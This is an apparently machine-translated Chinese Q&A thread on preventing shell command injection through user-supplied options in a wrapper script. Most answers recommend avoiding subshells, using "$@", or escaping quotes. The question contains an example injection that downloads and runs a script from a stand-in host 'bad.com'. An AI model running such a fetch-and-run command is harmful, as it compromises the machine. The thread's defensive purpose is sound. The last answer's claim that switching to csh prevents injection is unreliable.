如何通过命令选项防止命令注入?

如何通过命令选项防止命令注入?

我有一个包装应用程序,我需要让用户指定要传递给模拟器的自定义选项。但是,我想确保用户不会通过用户选项注入其他命令。实现这一目标的最佳方法是什么?

例如。

  • 用户提供:-a -b
  • 应用程序执行:mysim --preset_opt -a -b

但是,我不希望这种情况发生:

  • 用户提供:&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • 应用程序执行:mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

目前,我认为我可以简单地将每个用户提供的选项用单引号括起来',并删除任何用户提供的单引号,这样最后一个示例中的命令将是无害的:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

注意:该mysim命令作为 docker/lxc 容器中 shell 脚本的一部分执行。我正在运行Ubuntu。

答案1

如果您可以控制包装程序,请确保它不会调用子 shell。在内心深处,一个执行程序的指令包含可执行文件的完整路径(绝对路径或相对于当前目录的路径)以及作为参数传递的字符串列表。路径查找、空格分隔参数、引用和控制运算符均由 shell 提供。没有外壳,没有痛苦。

例如,对于 Perl 包装器,请使用exec或 的列表形式system。在许多语言中,调用exec或函数之一execXXX(或unix.exec任何它的名称),而不是system、 或os.spawnwithshell=False或任何它需要的东西。

如果包装器是 shell 脚本,则用于"$@"传递参数,例如

#!/bin/sh
mysim -preset-opt "$@"

如果您别无选择并且包装程序调用 shell,则需要在将参数传递给 shell 之前引用它们。引用参数的简单方法是执行以下操作:

  1. 在每个参数中,将每次出现的'(单引号) 替换为四字符字符串'\''。 (例如don't变成don'\''t
  2. '在每个参数的开头以及每个参数的末尾添加。 (例如从don'tdon'\''t变为'don'\''t'
  3. 将结果连接起来,中间用空格连接。

如果您需要在 shell 包装器中执行此操作,可以使用以下方法。

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(不幸的是,bash 的${VAR//PATTERN/REPLACEMENT}构造在这里应该很方便,但需要奇怪的引用,而且我认为您无法将其'\''作为替换文本。)

答案2

您可以使用 Bash 的${VAR//PATTERN/REPLACEMENT}惯用法将单引号转换''\''首先放入'\''变量(作为中间步骤),然后将该变量扩展为REPLACEMENT上述 Bash 惯用法中的元素。

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

答案3

您可以使用getoptsinbash其中 可以为您解析参数,例如:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done

答案4

为了最好地避免注射,请考虑切换到 [T]csh。与 Bourne Shell 不同,C Shell 是“有限的”,因此指示人们采用不同的、更安全的路径来编写脚本。 C Shell 施加的“限制”使其成为最可靠的 Shell 之一。 (例如:嵌套是最小的甚至是不可能的,因此不惜一切代价防止注入;有更好的方法来实现人们想要的。)

相关内容